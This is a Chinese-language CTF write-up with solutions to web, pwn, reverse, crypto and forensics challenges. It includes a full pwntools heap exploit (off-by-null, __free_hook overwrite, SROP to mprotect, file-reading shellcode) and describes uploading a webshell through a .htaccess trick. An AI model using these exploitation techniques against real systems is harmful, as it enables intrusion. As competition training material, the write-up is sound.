这次分区赛成绩不太理想，有些题目确实有点脑洞，花了很久的时间才做出来，加上题目分值感觉也有点离谱，misc和re真的是大爷了，pwn，web属于是打酱油。

web1

目录穿越，对脑电波找文件，找了半天以为要rce，结果是flag.php。。。

图片.png

web2

首先，使用burpsuite抓包，返回报文中有identity字段

加入identity字段后,返回一个可以文件上传的页面A0ther_hldden_PaGe.php

经过fuzz之后只能上传.jpg，同时发现可以上传.htaccess，因此上传图片马，并上传.htaccess使之解析为php

之后使用蚁剑链接，找到flag。
（web选手没有存图）

pwn1

上午发的第一道pwn，也是唯一解出来的一道pwn，webpwn，但是只是模拟了http的请求处理过程，而没有开web端口之类的，类似于httpd，重点还是审计代码。
审完之后是在edit处存在一个off_by_NULL。
环境是libc2.27，开了沙箱需要orw。照着板子，后面绕一下0截断就行了。
exp

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#----------------------------------------------
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
#----------------------------------------------
http_packet = '''GET /{} HTTP/1.1\r\n
Host: Epiphany\r\n
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Accept-Encoding: gzip, deflate\r\n
Connection: close\r\n
Content-Length\r\n
'''
sh = process("./pwn1")
# sh = remote("10.75.1.22",'58012')
libc = ELF("./libc.so.6")
def login():
http_packet = '''POST /login HTTP/1.1\r\nHost: Epiphany\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nUsername: C4oy1\r\nPassword: 123\r\nContent-Length: {}\r\n\r\nUsername=C4oy1&Password=123\r\n'''.format(0x1e)
sla("test> ", http_packet)
def add(c):
http_packet = '''POST /create HTTP/1.1\r\nHost: Epiphany\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nContent-Length: {}\r\n\r\n{}'''.format(len(c)+1,c)
sla("test> ", http_packet)
def edit(idx,c):
http_packet = '''POST /edit HTTP/1.1\r\nHost: Epiphany\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nIdx: {}\r\nContent-Length: {}\r\n\r\n{}'''.format(idx,len(c),c)
sa("test> ", http_packet)
def edit11(idx,c):
http_packet = '''POST /edit HTTP/1.1\r\nHost: Epiphany\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nIdx: {}\r\nContent-Length: {}\r\n\r\n{}'''.format(idx,0x62,c)
sa("test> ", http_packet)
def edit22(idx,c):
http_packet = '''POST /edit HTTP/1.1\r\nHost: Epiphany\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nIdx: {}\r\nContent-Length: {}\r\n\r\n{}'''.format(idx,0x6,c)
sa("test> ", http_packet)
def delete(idx):
http_packet = '''POST /delete HTTP/1.1\r\nHost: Epiphany\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nIdx: {}\r\nContent-Length: 0\r\n\r\n'''.format(idx)
sla("test> ", http_packet)
def show(idx):
http_packet = '''POST /show HTTP/1.1\r\nHost: Epiphany\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nIdx: {}\r\nContent-Length: 0\r\n\r\n'''.format(idx)
sla("test> ", http_packet)
def replace0(s):
r = ''
for i in s:
if i == '\0':
r += 'a'
else:
r += i
return r
login()
'''
gdb.attach(sh, "b *$rebase(0x00000000000280C))
pause()
'''
add('a'*0x450)
add('b'*0xa0)
delete(0)
add('a'*0x450)
show(0)
libc_base = u64(ru('\x7f')[-6:].ljust(8,b'\0')) - 0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']
set_context  = libc_base + libc.sym['setcontext'] + 53
mprotect = libc_base + libc.sym['mprotect']
print(hex(libc_base))
#off by null
add('a'*0x67)
add('a'*0x67)
add('a'*0xf7)
for i in range(8):
add('a'*0xf7)
for i in range(7):
delete(5+i)
for i in range(8):
edit(3, 'b'*(0x68-i))
edit11(3, 'b'*0x60+p64(0x70*2+0x460+0xb0))
delete(0)
delete(4)
delete(1)
add('a'*0x450)
add('a'*0x20)
edit(1, p32(free_hook & 0xffffffff) + p16((free_hook >> 32) &0xffff))
add('a'*0xa0)
add('a'*0xa0)
edit(5, p32(set_context & 0xffffffff) + p16((set_context >> 32) &0xffff))
payload = p64(set_context) + p64(free_hook+0x10)
sig = SigreturnFrame()
sig.rdi = free_hook & (~0xfff)
sig.rsi = 0x2000
sig.rdx = 7
sig.rip = mprotect
sig.rsp = free_hook+0x10
shellcode = shellcraft.open('./flag',0)
shellcode += shellcraft.read(3,free_hook+0x200,0x50)
shellcode += shellcraft.write(1,free_hook+0x200,0x50)
sc = asm(shellcode)
payload = p64(set_context) + p64(free_hook+0x10) + str(sig)[0x10:] + sc
print()
sc_addr = free_hook + 0x28
# gdb.attach(sh, "b *$rebase(0x00000000000280C)\nc\n")
pause()
edit(5, 'a'*8+p32(mprotect & 0xffffffff) + p16((mprotect >> 32) &0xffff) +'a'*2 + p32(sc_addr & 0xffffffff) + p16((sc_addr >> 32) &0xffff)+'a'*0x12 + sc)
edit(5, 'a'*8+p32(mprotect & 0xffffffff) + p16((mprotect >> 32) &0xffff) +'a'*2 + p32(sc_addr & 0xffffffff) + p16((sc_addr >> 32) &0xffff)+'a')
edit(5, 'a'*8+p32(mprotect & 0xffffffff) + p16((mprotect >> 32) &0xffff) +'a'*2 + p32(sc_addr & 0xffffffff) + p16((sc_addr >> 32) &0xffff))
edit(5, 'a'*8+p32(mprotect & 0xffffffff) + p16((mprotect >> 32) &0xffff) +'a')
edit(5, 'a'*8+p32(mprotect & 0xffffffff) + p16((mprotect >> 32) &0xffff))
edit(5, 'a'*7)
edit(5, p32(set_context & 0xffffffff) + p16((set_context >> 32) &0xffff))
tmp = replace0(str(sig))
edit(0,tmp)
edit(0,tmp[:0xaf])
edit(0,tmp[:0xae])
edit(0,tmp[:0xa7])
edit(0,tmp[:0xa6])
for i in range(0x7):
edit(0,tmp[:0x8f-i])
for i in range(0x6):
edit(0,tmp[:0x77-i])
edit(0,tmp[:0x6f])
edit(0,tmp[:0x6e])
edit(0,tmp[:0x68])
'''
edit(0,tmp[:0x6f])
edit(0,tmp[:0x6e])
edit(0,tmp[:0x67])
edit(0,tmp[:0x66])
for i in range(0x6):
edit(0,tmp[:0x5f-i])
for i in range(0x16):
edit(0,tmp[:0x48-i])
for i in range(0x3):
edit(0,tmp[:0x31-i])
for i in range(0x24):
edit(0,tmp[:0x24-i])
'''
delete(0)
ti()

re1_crackme2_apk1

这题老早就出了，有个函数用自己的了，和题目有点区别，导致flag一直不对，后面过了好久才反应过来，痛失一血。

图片.png

encode函数

图片.png
明显的RC4特征，直接跑存好的脚本

import base64
def rc4_main(key = "init_key", message = "init_message"):
print("RC4解密主函数调用成功")
print('\n')
s_box = rc4_init_sbox(key)
crypt = rc4_excrypt(message, s_box)
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) 
print("原来的 s 盒：%s" % s_box)
print('\n')
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
print("混乱后的 s 盒：%s"% s_box)
print('\n')
return s_box
def rc4_excrypt(plain, box):
print("调用解密程序成功。")
print('\n')
plain = base64.b64decode(plain.encode('utf-8'))
plain = bytes.decode(plain)
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i] + 136) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
print("res用于解密字符串，解密后是：%res" %res)
print('\n')
cipher = "".join(res)
print("解密后的字符串是：%s" %cipher)
print('\n')
print("解密后的输出(没经过任何编码):")
print('\n')
return  cipher
# # target = [205, 'R', 't', 'z', 30, '\b', '\b', 224, 'W', ';', 24, 153, 175, '=', 29, 148, 21, '%', 'g', '[', 'd', 'S', 31, ';', 220, 162, 'F', '6', 211, 253, 190, '3']
# target = [205, 82,  116, 122, 30,  8, 8,  224,  87, 59,  24, 153, 175, 61,  29, 148, 21, 37,   103, 91, 100,  83, 31, 59,  220, 162, 70,  54,  211, 253, 190, 51]
# for i in range(len(target)):
# print(hex(target[i]))
# print(target)
0xcd,0x52,0x74,0x7a,0x1e,0x8,0x8,0xe0,0x57,
0x3b,0x18,0x99,0xaf,0x3d,0x1d,0x94,0x15,0x25,
0x67,0x5b,0x64,0x53,0x1f,0x3b,0xdc,0xa2,0x46,
0x36,0xd3,0xfd,0xbe,0x33
a=[0xcd,0x52,0x74,0x7a,0x1e,0x8,0x8,0xe0,0x57,
0x3b,0x18,0x99,0xaf,0x3d,0x1d,0x94,0x15,0x25,
0x67,0x5b,0x64,0x53,0x1f,0x3b,0xdc,0xa2,0x46,
0x36,0xd3,0xfd,0xbe,0x33]
s=""
for i in a:
s+=chr(i)
s=str(base64.b64encode(s.encode('utf-8')), 'utf-8')
rc4_main("happygame", s)

re3_meikyu2

是个python文件，给了个main.py 一个data 一个dll 和pyd文件。讲真第一次看见pyd，逻辑不难懂。

import mylib.pyd
from mylib.pyd import CheckStatus as CS, START, END, WALL, ROAD
import os
def main():
if not os.path.exists('data'):
print('Missing file: data')
exit(0)
with open('data', 'rb') as f:
data = f.read()
map_ = list(data)
cipher = list(b'suta-to')
for i, ch in enumerate(map_):
map_[i] = ch ^ cipher[i % len(cipher)]
if map_[i] not in (START, END, WALL, ROAD):
exit(0)
key = input('Input key:').encode()
match mylib.check(map_, list(key)):
case CS.FAIL:
print('Wrong key')
case CS.SUCCESS:
print('Congratulations!!! Your flag is: `flag{md5(key)}`')
case CS.ERROR_CIPHER_LEN | CS.ERROR_DATA_LEN | CS.ERROR_FMT | CS.FATAL_ERROR:
print('Something wrong, can you figure out?')
print('Bye~')
if __name__ == '__main__':
main()

网上导入pyd的方式都试过了，没办法成功导入这个mylib。所以对其中的一些函数只能ida逆向，而不太能调试分析。
答题的流程是制作一个map，然后用check函数检查。
题目给了提示是深度优先算法。

图片.png

101*101的迷宫。
尝试恢复迷宫

# import mylib
# from mylib import CheckStatus as CS, START, END, WALL, ROAD
import os
def main():
if not os.path.exists('data'):
print('Missing file: data')
exit(0)
with open('data', 'rb') as f:
data = f.read()
map_ = list(data)
cipher = list(b'suta-to')
for i, ch in enumerate(map_):
map_[i] = ch ^ cipher[i % len(cipher)]
if map_[i] == 83:
map_[i] = 'S'
elif map_[i] == 35:
map_[i] = '0'
elif map_[i] == 32:
map_[i] = '1'
elif map_[i] == 69:
map_[i] = 'X'
# if map_[i] not in (START, END, WALL, ROAD):
# exit(0)
# print(map_)
for i in range(101):
for j in range(101):
print(map_[i*101+j],end='')
print('\n')
#print(map_)
# key = input('Input key:').encode()
# match mylib.check(map_, list(key)):
# case CS.FAIL:
# print('Wrong key')
# case CS.SUCCESS:
# print('Congratulations!!! Your flag is: `flag{md5(key)}`')
# case CS.ERROR_CIPHER_LEN | CS.ERROR_DATA_LEN | CS.ERROR_FMT | CS.FATAL_ERROR:
# print('Something wrong, can you figure out?')
# print('Bye~')
if __name__ == '__main__':
main()

真的血亏，这里

图片.png
当时写了i*100，不仅没拿到二血，还没做出来。。。。。

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
S1011111111111111111111111111111111101111101111101110111110101011111111111111101010101011101110111010
01010100010100000000000001000101000001000001000001000100000101010000000100000001010101010001000100010
01110111010111111101110101110101011111110101110101111111110111111111110101011111111111111101010101010
00010101000100000001000100000000010000000101000101000000000100010000000001010000000000000001010101010
01110101011111111111010111011101011111111111111111110101110101010101010101111101010111110111111111110
00010000000101010100010100010001010001000001000000000101000101000101010101000001010100000100000000000
01111111110101010111111101110101111101111101111111110101111111110101110111111101010101010111110101110
01010100000001000100010001000101000001000000000001000101000001000101000100000001010101010100000101000
01010111010111011111011101110111111101110111010111010111110101111111111111010101010111010111110111010
00010100010001000100010001000100000000000100010000010100000100010001010100010101010100010100000001010
01110101011111110101111111011111111111111111111111111111010111010101010111111111111111010111110111010
01010001000101000100010100010000010101000000010101010000010100000100000000010101010100010100000001010
01011111110101110101110111111111010101111111010101010101011111111111111111010101010111111111010101110
01010100010101000000010101010000010001010100000001000101010001000100000101000000000101010100010101000
01010111010101110111110101011111011101010111110101111111111101110111110101111101111101010111111111110
01000100000001000001010101010000000001000101000100000001010000000001000001000000010101010100010101010
01011111110111111101010101011111110111110101111111111101011111111101111101110111110101010111010101010
01010101010101010100010000010100000001000001010001010000010100000001000000000001010000010100000000010
01010101010101010111011111010111110101111101011101011101010111110111111111110111011111010111111101110
01010001010100010100010100010101000100000000010101010001000000000101000000000000010101000100000000010
01011101010101110101110111010101111111111111010101011111111111110101010101011101010101110111111111010
01010101010000010101010000010100010101000101010000010100010100000000010101000101000001010101010100010
01010101010111110101011111010111010101110101011111010111010111111101010101110111111101010101010101010
01010101000001010101010100010101010001000000010100010100010101010001010101000100000001010001000001000
01010101011111010101010111010101011101111111010111010101010101011111111111111111111101011101010101010
01000001000101010000010100010001010000000000010000000001000100000001010101010000010000010000010101010
01110101011101011111010111010101011111110101011111111111110101011101010101011111011111011101111111110
01000100000100010000010100000100010101000101000000010101000001010000010100010100010000010001000101010
01011111111101111111010111111111010101111111111111010101111101111111010111010111010111011111110101010
00010000000100010100000000000000000001000100000001000000010001000101010101010100000100000101000000000
01110111111111010111111111111111111101110111111101111111011111110101010101010111111111110101110111110
01010000000100000101010001010101010001000100010000010100000101000000000000000101000101000101000100000
01011101111111110101011101010101010111110111011111010111110101110101010111010101110101011101111111110
01010000000100000000010000010100010101000101010100000101000101000101010100010001010000010101010101010
01010101111111110111111111010111010101110101010111110101110101111111111111111101011111010101010101010
00000100000101000001010101010101000001000001000100000101000001010101010000000000000000010001000000010
01111111111101110111010101010101111101111101110111110101111101010101011111111111011111011101111111010
00010001010101000101000000010000010001010000010101000001010101010100010000010000010000010001010001000
01010111010101110101111111011111010111011111010101110111010101010101111111011111111111011101011101110
01000001000001000101010000010100000101010100000101000001010100000000010100000101000000010001010000010
01111111110111110101011111010111110101010111110101111101010111110111110111110101111111011101011111010
01000101000001000000010000000100000000000000000101000000010100000000010101000001010000000000000100000
01011101011111110111111111110101010111111111010101111111010111110111110101111101011111110111110101010
01000100010101010101010000010001010100010100010001010100000100000100010001000000000000000100000001010
01011111010101010101011111011111111111010111111101010111010111010101111101111111110111110111110101110
01000100000001000101000000010001010000000101000000000100010000010000010000000000000100000100000101000
01011101010111110101111111011101011111010101111111110111111111111101111111111111011111111111010111110
01000001010001000001000100010000010100010001000001010101010101010000010101010100010000000000010100000
01011111111111111101110101111111010111010101111101010101010101011111010101010111111111011111111111110
01000001010101010101000000010100000100010100000000000000000000010101000000000001010000010001000101000
01010111010101010101111101110111011111111111111101010101010111010101111111111101011111011101110101110
00010001000100010101010001010101000101010100000001010101010100000000000101010100010100010001000001010
01111111011111010101011101010101011101010111111111011101011111110111110101010111010111111101110111010
00000001000101000100000001000001010101000101010000010001010000000100000001010100010101010000000000010
01111111110101011111011101111101010101011101011111111101111101011111011101010111010101011111011101010
00000001000101000100010001010000000101010101010100010001000001010000010000000100010101010000000101000
01110111110101011111111101010111011101010101010111010111111111111111010101110111010101011101010111110
00010001000000000101010000000100000101010100000100000100010101010000010101000100000000010001010100000
01111111111111011101011111010111011101010101111111111111010101011101111111110111010101011111110111110
00000101010101000101010000010100000100000100010100010100000001000001000101000000010101000100000100000
01111101010101110101011111010101110101111111010111010111111101111111110101111101110111110101010111110
00000100000001010001010000010101000000010101000100010100010001000101000000010000010100000001010100010
01111111110111011101011111111111111111010101011111010111011101110101010101011101010111010101111111010
01010101000001000000010001010101000100010101010101000000000000000000010101000001010100010101000000000
01010101111101111101111101010101110111010101010101111101011111111111010101010101011111111111110101110
01000001000001000001010000010001000000000001010101010001010001010000010101010101010000000100000101000
01011111111101111101011111011101111101111101010101011111111101011111111111011111111111110111111111110
01000001010000000000010101010101000001000101000101010101000000000101010100010001010001000100010100000
01010111011111111111010101010101111111110101011101010101111111110101010111111101011101011111010111110
00010001010001010000000000000101010100000000000101000101010001000001010101010000010001000100000100000
01111111011101011111111111110101010111010111110101011101011101111101010101011111011101010101010111010
00010101010100010101010000010001000100010100000100000101010100000000000000010100000000010001010000010
01110101010111010101011111011101110111111111110101111101010111111111110111110101010101011111111111110
01010001000000000001010100000000000101010101010000010101000100000100000001010001010101000100010000010
01010111111111010101010111111111110101010101011101110101110111110111110111011111111111010111010111010
01010001000100010100000101010100000101000100010001010101000001010101000001010001010000010100000100000
01010111110101111111011101010111110101110111010111010101111101010101111101011101011111111111111111010
01000001000001000100000100000100000100000101010001000101010000000101000001010100000100010101010000010
01011111111111110111110111011111110111110101010111110101011111011101111101010111110111010101011111110
01010101010101000101000001010101000100000001010101010100010000000101000000000101010100010000010101010
01010101010101110101111101010101110111111101010101010101111111011101111101011101010111011111010101010
00000101010100000001010000000001000100000001010100000000010101000100000001000101000000000100000000000
01111101010111111101010101010111110111110101010111111101110101011111111111110101111111110111110101110
01010001000101000001000101010001000000000100000101010000010000000101000101000001010001000101000101000
01010111011101111101111111110111111101111111110101011101111111011101110101110111011101110101111111110
01000000000101000001010101000001010001000000010101010000010100000001000001000101010001000101010101000
01011111111101111101010101111101011101111111010101011101110101111111111101110101010101110101010101110
00010100010101000000010101010000000001000000000000010000010100000001000001010001000100000000010101010
01110101110101111101010101011111111111111111110101111111010111011111111101010111111111111101110101010
00010000000001000001000100010101000101000000000100010101000101000101010001010001010100000000010000000
01110111111111111111110101110101110101111111011111010101110101011101011101010111010111111111011111110
00000000000001000101010100010101010001000100000100000000000000000001000001010001000100010100010101010
01111111111111110101010111010101011101110111010111011101010101111111111101010111110111010111010101010
00010100000101010100000100010101010101000000010100010001010100010101010000010101000101010101000101010
01110101111101010101010101110101010101111111111111111111111111010101011111010101110101010101110101010
00010000010101000001010000010100010101010101010100010101010100000101010100000001010000010001010000010
01110111110101111111111111010111010101010101010111010101010111110101010111110111011111010111011111010
00010101010001000000010001010100000100000101000100000001010101010001010101000001010100010001010101010
01110101010111111111011101010111110111110101011111111101010101011101010101110111010111010111010101012
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

然后写个深度优先的脚本就可以解出来了。。

#include<iostream>
#include<cstdio>
#include<cstring>
using namespace std;
int x1[]={1,0,-1,0},
y1[]={0,1,0,-1};
char w[] = {'s','d','w','a'};
char f[103][103];
char leng[500];
int flag = 0;
bool vis[103][103];
int n=101;
void dfs(int x,int y,int len)
{vis[x][y] = 1;
if(flag == 1)
return;
if(f[x][y] == '2')
{
for(int j = 0;j<=len;++j)
cout<<leng[j];
flag = 1;
cout<<endl;
return; 
}
for(int i = 0;i<4;++i)
{
int nx = x+x1[i];
int ny = y+y1[i];
if(nx<0||ny<0||nx>=n||ny>=n||vis[nx][ny] == 1)
continue;
if(f[nx][ny] == '0')
continue;
leng[len] = w[i];
dfs(nx,ny,len+1);
vis[nx][ny] = 0;
} 
}
int main() 
{
for(int i = 0;i<n;++i)
 for(int j = 0;j<n;++j)
 cin>>f[i][j];
dfs(1,0,0); 
}

md5之后就是flag

密码1 LCG

这个题看走眼，也是题目有点问题。

from Crypto.Util.number import *
flag = getRandomNBitInteger(32)
class LCG:
def __init__(self):
self.a = getRandomNBitInteger(32)
self.b = getRandomNBitInteger(32)
self.c = getRandomNBitInteger(32)
self.n = getPrime(32)
self.seed = getRandomNBitInteger(32)
def next(self):
self.seed = (self.a * self.seed * self.seed + self.b * self.seed + self.c) % self.n
return self.seed 
def output(self):
print("b = {}\nn = {}".format(self.b, self.n))
print("seed = {}".format(self.seed))
print("s1 = {}".format(self.next()))
print("s2 = {}".format(self.next()))
lcg = LCG()
lcg.output()
c1 = ((flag * lcg.a + lcg.c) % lcg.n) >> 16
c2 = ((c1 * lcg.a + lcg.c) % lcg.n) >> 16
print("c1 = {}".format(c1))
print("c2 = {}".format(c2))
print("flag = {}".format(flag))
'''
b = 3831416627
n = 2273386207
seed = 2403188683
s1 = 260742417
s2 = 447908860
c1 = 17275
c2 = 28951
'''

通过seed，s1,s2先算出lcg的a和c
这里通过c1,c2的计算是有些歧义的，最后的正解是c1是没有右移带入c2的运算的，不然按照原来代码是求不出flag的，当然这也导致了一波人解不出来,这里还需要注意最后的flag是32位，flag需要加个n

import gmpy2
b = 3831416627
n = 2273386207
seed = 2403188683
s1 = 260742417
s2 = 447908860
c1 = 17275
c2 = 28951
a = (((s2-s1)-b*(s1-seed))*gmpy2.invert((pow(s1,2)- pow(seed,2)),n))%n
c = (-a*s1**2 - b*s1 + s2)%n
for i in range(2**16):
c11 = (c1<<16) + i
if ((c11*a+c)%n) >> 16 == c2:
flag = ((c11-c)*gmpy2.invert(a,n)%n)
print(flag)

正确的题目

from Crypto.Util.number import *
flag = getRandomNBitInteger(32)
class LCG:
def __init__(self):
self.a = getRandomNBitInteger(32)
self.b = getRandomNBitInteger(32)
self.c = getRandomNBitInteger(32)
self.n = getPrime(32)
self.seed = getRandomNBitInteger(32)
def next(self):
self.seed = (self.a * self.seed * self.seed + self.b * self.seed + self.c) % self.n
return self.seed 
def output(self):
print("b = {}\nn = {}".format(self.b, self.n))
print("seed = {}".format(self.seed))
print("s1 = {}".format(self.next()))
print("s2 = {}".format(self.next()))
lcg = LCG()
lcg.output()
c1 = ((flag * lcg.a + lcg.c) % lcg.n)
c2 = ((c1 * lcg.a + lcg.c) % lcg.n) >> 16
print("c1 = {}".format(c1>>16))
print("c2 = {}".format(c2))
print("flag = {}".format(flag))
'''
b = 3831416627
n = 2273386207
seed = 2403188683
s1 = 260742417
s2 = 447908860
c1 = 17275
c2 = 28951
'''

密码2

很简单的质因数gcd求因数

import gmpy2
from Crypto.Util.number import *
n1= 12671827609071157026977398418260127577729239910356059636353714138256023623770344437013038456629652805253619484243190436122472172086809006270535958920503788271745182898308583012315393657937467583278528574109842696210193482837553369816110424840884683667932711439417044144625891738594098963618068866281205254024287936360981926173192169919836661589685119695804443529730259703940744061684219737502099455504322939948562185702662485642366411258841082322583213825076942399375712892608077960687636100621655314604756871227708407963698548718981737143081639214928707030543449473132959887760171345393471397998907576088643495456531
e1= 65537
c1= 5268497051283009363591890965286255308367378505062739645805302950184343652292967525985407935922935972883557494557593439711003227737116083417992112594428400382187113609935251268634230537282408994938066541612999550555591607744019286392765549844400176442415480559773688439693874264657925123598756193286897112566420847480601040372338338442932524410598834393630019038536173336696498743879160879377504894526001205060753543289059104874467150194596404490638065573974570258671195173327475871936431769234701590572816592485898568463143587137721883610069616008902637316459660001435171054741347142470208082183171637233299493273737
n2= 18090800828995898324812976370950614944724424095669490324214928162454640462382724191043785592350299626782376411935499259428970532102686361824967300649916495702138825182857737210486173137998811993244590794690070307872074705348982970060304389842338043432383690934814892283936018142382990267868341375956549210694354065317328612440672169232803362481090661368782599819926970968509827001203936933692777821117679448168400620234261164018167404541446201828349880887526076468982840569645753428057937172715073817332736878737709704495317549386111938639861221307607948775421897063976457107356574428602380790814162110473018856344871
e2= 4097
c2= 2326267610355516153575986453727161366266816656017644910981028690283132055217271939475840618294311986463011398892570340626131158223217558335139831985973737748812636360601010312490160903427322848411507157238373313053959092326875136396134997877757316339153327290508806645882428114647041522287934007579220769189583249469879165078254248922442084985860374461188259818592181294686890335242981199427715392978546977718475462727987012437677290341463732660152302257234030751774759466703002189003437204934438026047163828083902584763527752033035438078609950665211243112982373167722458975172667665849715372158378299319548194854914
n3= 14016899139767071357961567514373780608355222973882916699129907806456201886114368147540489514960479836424236595826190295819765979835270500889626994048655508134450908075698567925938340322498944878806273261377551132596295484579752118097281084614987064680928168918147910522922020462762688924459558896249968804885885853885632349539590507675397376494346489972596290270168847103345561743327300964196811506510943971437325302822974593782292850499524055338033832053610217461760698628614971171144300450574522839157187874548994036357212297166759231255765155759405207408315314182166142015547345744054533749334516820850300569790673
e3= 1048577
c3= 1507157402302225700443994264641838312753363380677759942918832857396550216927941389943122383728949792984913155517202501504817319345830153748955731880333992875210194306712098593166605310784068299411946792264365247471197716329666415403718297430110977954951479772565341847358286252098930408452594561104228639615640815799731581302607522977457874347224189202268831547055389518214072278766864028489294466057175201908756749666131546163372443691718757198229262989973810951064160488114367967684657242385568733678188829354802025582496625272334309487028498614869964712744826603931510547381997149345221530469380732265014466170524
p = gmpy2.gcd(n1,n2)
q1 = n1//p
d1 = gmpy2.invert(e1,(q1-1)*(p-1))
print(long_to_bytes(pow(c1,d1,n1)))
q2 = n2//p
d2 = gmpy2.invert(e2,(q2-1)*(p-1))
print(long_to_bytes(pow(c2,d2,n2)))
p = gmpy2.gcd(n2,n3)
q1 = n3//p
d1 = gmpy2.invert(e3,(q1-1)*(p-1))
print(long_to_bytes(pow(c3,d1,n3)))

misc1 取证

这个misc我做的有点狗血和脑洞。
首先拿到之后，工具查看一下进程，发现是notepad和画图软件（这里我就忽略了还有一个写的程序wordpad）

图片.png

然后把notepad东西dump出来

Volatility Foundation Volatility Framework 2.6 Process: 236 Text: ? Text: d Text: Text: ? Text: ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? Process: 372 Text: ? Text: d Text: Text: ? Text: f = open(‘./flag.zip’, ‘rb’).read() new = open(‘./fffflllaag.dat’, ‘ab’) letter = ‘’ secret = int(letter,16) print(secret) for i in f: n = int(i) ^ secret new.write(int(n).to_bytes(1, ‘big’)) Process: 132 Text: ? Text: d Text: Text: ? Text: According to Homer’s epic, the hero Achilles is the precious son of the mortal Polus and the beautiful fairy Thetis. It is said that her mother Tethys carried him upside down into the Styx river when he was just born, so that he could be invulnerable. Unfortunately, due to the rapid flow of the Ming River, his mother didn’t dare to let go of his heel. The heel held by his mother was accidentally exposed outside the water, so the heel was the most vulnerable place, leaving the only “dead hole” in his body, so he buried the disaster. When he grew up, Achilles fought bravely. When he went to attack the city of Troy (the story of Trojan horse slaughtering the city), the brave Achilles singled out the Trojan general Hector, killed him and dragged his body to demonstrate. But later, after conquering Troy, Achilles was attacked by an arrow by Hector’s brother-in-law Paris and hit his ankle - the hero fell to the ground and died at the moment of shaking. ankle, ankle, I love ankle.The password is ??k1eAn??? Process: 2060 Text: ? Text: d Text:

Text: ? Text: ???????????????????????????????XOR?EOR????????????????????????????????letter?????????????????????????

得到有效的信息

f = open('./flag.zip', 'rb').read()
new = open('./fffflllaag.dat', 'ab')
letter = ''
secret = int(letter,16)
print(secret) k1eAn 
for i in f:
n = int(i) ^ secret
new.write(int(n).to_bytes(1, 'big'))